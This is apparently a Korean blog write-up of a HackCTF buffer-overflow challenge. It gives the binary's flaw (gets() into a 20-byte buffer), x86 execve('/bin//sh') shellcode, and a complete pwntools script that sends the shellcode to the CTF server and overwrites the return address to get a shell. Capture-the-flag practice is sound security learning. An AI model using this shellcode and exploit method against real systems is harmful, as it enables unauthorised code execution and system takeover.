본문 바로가기

Write-Up/HackCTF

[HackCTF] 내 버퍼가 흘러넘친다!!!

read 함수로 &name에 0x32만큼 입력받고

gets로 &s 를 20(ebp-14h = 20) 만큼입력받는다

 

name에 쉘코드를 넣어주고 s에서 bof를 발생시켜 ret주소를 name으로 바꿔주면 풀리는 문제이다

 

사용할 쉘코드

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 

name 주소

0x0804A060

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3003)

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
p.recvuntil("Name : ")
p.send(shellcode)

pay = "\x90"*24 + "\x60\xA0\x04\x08"
p.recvuntil("input : ")
p.send(pay)

p.interactive()

'Write-Up > HackCTF' 카테고리의 다른 글

[HackCTF] x64 Simple_size_BOF  (0) 2021.05.16
[HackCTF] x64 Buffer Overflow  (0) 2021.05.16
[HackCTF] Basic_FSB  (0) 2021.05.15
[HackCTF] Basic_BOF #2  (0) 2021.05.15
[HackCTF] Basic_BOF #1  (0) 2021.05.15